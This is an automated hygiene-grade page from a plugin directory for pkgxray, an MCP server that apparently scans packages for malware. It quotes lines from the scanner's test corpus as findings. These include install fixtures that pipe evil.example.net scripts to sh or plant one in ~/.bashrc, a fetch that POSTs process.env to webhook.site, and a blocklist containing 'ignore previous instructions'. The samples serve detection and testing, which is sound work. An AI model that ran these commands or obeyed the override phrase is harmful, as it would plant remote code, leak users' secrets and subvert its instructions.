Grades are a hygiene check, not a security guarantee.

MCP, MCP server

pkgxray

pkgxray, an MCP server listed in the PlugVet directory.

Compatibility: Not stated.

Grade D

Two or more Medium findings, or a High finding. Only try it in a sandbox.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL AGENT_IGNORE_INSTRUCTIONS

Why this grade

  • INSTALL_REMOTE_SCRIPT Medium

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    benchmark/corpus/malicious/persistence-bashrc.json, line 9 "postinstall.js": "const fs=require('fs'),os=require('os'),path=require('path');fs.appendFileSync(path.join(os.homedir(),'.bashrc'),'\\ncurl -s https://evil.example.net/x | sh\\n')

  • SECRETS_PATH_CREDENTIAL Medium

    Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).

    examples/hookshot/pkgxrayguard/guard_test.go, line 142 `{"severity":"high","category":"credential-access","rationale":"reads ~/.aws/credentials near a network sink","file":"lib/.telemetry.js"},` +

  • AGENT_IGNORE_INSTRUCTIONS Medium

    Text tells the agent to ignore earlier instructions.

    benchmark/corpus/benign/injection-defense-blocklist-doc.json, line 10 "docs/injection-defense.md": "# Prompt Injection Defense\n\nThe sanitizer rejects inputs matching these patterns:\n\n```yaml\nblocked_patterns:\n - \"ignore previous instructions\

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    can delete files.

    PERMISSION_DELETE_FILES

    bin/pkgxray-cache.js, line 304

    fs.unlink(tempPath, () => reject(err));

    examples/hookshot/helpers.go, line 25

    cmd := exec.Command(bin, args...)

    examples/hookshot/pkgxrayguard/guard.go, line 99

    cmd := exec.CommandContext(cctx, bin, args...)

    Show more

    examples/hookshot/pkgxrayguard/mcp.go, line 205

    cmd := exec.CommandContext(cctx, bin, "mcp", spec.Ref, "--format", "json")

    examples/hookshot/pkgxrayguard/recheck.go, line 96

    cmd := exec.CommandContext(cctx, bin, args...)

    extensions/models/npm-drift.ts, line 51

    const cmd = new Deno.Command(bin, {

    src/github.js, line 383

    fs.unlink(destination, () => reject(err));

    src/install.js, line 221

    await fs.rm(path.join(stage, "node_modules/.package-lock.json"), { force: true });

    src/install.js, line 239

    if (workspace) await fs.rm(workspace, { recursive: true, force: true });

    src/mcp-sandbox.js, line 34

    const cleanup = () => fs.rmSync(scratchPath, { recursive: true, force: true });

    benchmark/corpus/benign/foreground-child-named-watchdog.json, line 4

    "note": "The REAL foreground-child watchdog shape (from [email protected], verbatim from npm `foreground-child`), which the minimized foreground-child-watchdog fixture did NOT cover: the

    benchmark/corpus/benign/foreground-child-watchdog.json, line 4

    "note": "Originally a FALSE POSITIVE from the 2026-07-19 MCP scan ([email protected]): the `foreground-child` zombie-reaper spawns `node -e <static watchdog>` that kills the child if the

    browser-extension/auditor.browser.js, line 8892

    // Strip comments so a commented-out `# subprocess.call(...)` example doesn't

  • Install and update

    Serious

    install fetches a script from the network.

    INSTALL_REMOTE_SCRIPT

    benchmark/corpus/malicious/persistence-bashrc.json, line 9

    "postinstall.js": "const fs=require('fs'),os=require('os'),path=require('path');fs.appendFileSync(path.join(os.homedir(),'.bashrc'),'\\ncurl -s https://evil.example.net/x | sh\\n')

    benchmark/corpus/malicious/remote-code-load.json, line 9

    "install.sh": "#!/bin/sh\ncurl -fsSL https://evil.example.net/install.sh | sh"

  • Network

    Concern

    can reach webhook.site. The description does not name that host. can reach a host that is not written as a fixed address. can reach cdn.jsdelivr.net. The description does not name that host. can reach selftest.local. The description does not name that host. can reach collector.invalid. The description does not name that host. can reach service.invalid. The description does not name that host. can reach api.ipgeolocation.io. The description does not name that host. can reach api.example.com. The

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST NETWORK_NAMED_HOST

    browser-extension/popup.js, line 25

    "fetch('https://webhook.site/example', { method: 'POST', body: JSON.stringify(process.env) });"

    scripts/build-extended-target-list.js, line 66

    const req = https.get({

    scripts/build-mcp-target-list.js, line 46

    const res = await fetch(url, {

    Show more

    scripts/build-pypi-list.js, line 49

    const res = await fetch(url, {

    scripts/retest-indexed-btree.js, line 19

    const request = https.get(`https://cdn.jsdelivr.net/npm/indexed-btree@${version}/${file}`, response => {

    src/sandbox.js, line 569

    const up = net.connect(sockPath);

    src/sandbox.js, line 804

    "const r=http.request({host:p.hostname,port:p.port,method:'POST',path:'http://selftest.local/x',headers:{host:'selftest.local'}});" +

    src/sandbox.js, line 806

    "const s=net.connect({host:'203.0.113.1',port:80});" +

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL

    examples/hookshot/pkgxrayguard/guard_test.go, line 142

    `{"severity":"high","category":"credential-access","rationale":"reads ~/.aws/credentials near a network sink","file":"lib/.telemetry.js"},` +

    examples/hookshot/pkgxrayguard/guard_test.go, line 149

    if len(res.Reasons) != 1 || res.Reasons[0] != "[credential-access] reads ~/.aws/credentials near a network sink (lib/.telemetry.js)" {

    examples/pkgxray-proxy/bin/proxy.js, line 3

    // the .npmrc line developers/CI use to point at the proxy.

    Show more

    examples/pkgxray-proxy/bin/proxy.js, line 38

    'Point npm at the proxy by adding this to .npmrc:',

    examples/pkgxray-proxy/src/pkgxray-runner.js, line 42

    const childEnv = { ...env };

    src/diff.js, line 51

    /(?:^|\/)\.npmrc$/

    src/github.js, line 98

    return process.env.GITHUB_TOKEN || process.env.PKGXRAY_GITHUB_TOKEN || null;

    src/install.js, line 107

    return { ...env, PATH: [path.dirname(process.execPath), "/usr/bin", "/bin"].join(path.delimiter), HOME: home, USERPROFILE: home, CI: "true", NO_UPDATE_NOTIFIER: "1" };

    src/install.js, line 205

    const userconfig = path.join(home, "user.npmrc");

    src/sandbox.js, line 805

    "r.on('error',()=>{});r.end('t=' + process.env.SELFTEST_TOKEN);" +

  • Agent instructions

    Serious

    instructions tell the agent to ignore earlier instructions.

    AGENT_IGNORE_INSTRUCTIONS

    benchmark/corpus/benign/injection-defense-blocklist-doc.json, line 10

    "docs/injection-defense.md": "# Prompt Injection Defense\n\nThe sanitizer rejects inputs matching these patterns:\n\n```yaml\nblocked_patterns:\n - \"ignore previous instructions\

    docs/design/mcp-adapter-prompt.md, line 120

    treats package text - a tool description telling the agent to ignore prior

  • Obfuscation

    Note

    a file was over the read cap and was not fully read.

    OBFUSCATION_FILE_OVER_READ_CAP

    browser-extension/auditor.browser.js, line 1

    "use strict";

    src/auditor.js, line 1

    "use strict";

    validation/calibration-2026-07-22/pool-npm-high-impact-1.13.0.json, line 1

    ["semver","minimatch","debug","ansi-styles","brace-expansion","strip-ansi","ansi-regex","ms","supports-color","chalk","commander","lru-cache","string-width","wrap-ansi","tslib","pi

    Show more

    validation/results/results.jsonl, line 1

    {"package":"chalk","decision":"review","grade":"C+","score":79,"findings":[{"severity":"medium","category":"lonely-maintainer"},{"severity":"info","category":"npm-vs-github-clean"}

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Note

Hygiene check of commit b25266529c44. can delete files. install fetches a script from the network. can reach webhook.site. The description does not name that host. can reach a host that is not written as a fixed address. can reach cdn.jsdelivr.net. The description does not name that host. can reach selftest.local. The description does not name that host. can reach collector.invalid. The description does not name that host. can reach service.invalid. The description does not name that host. can reach api.ipgeolocation.io. The description does not name that host. can reach api.example.com. The reads a credential or environment file. instructions tell the agent to ignore earlier

Date and source

Date checked:

View source

github.com

Commit graded: b25266529c446812a9275927c255bd161cf6a3c5

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen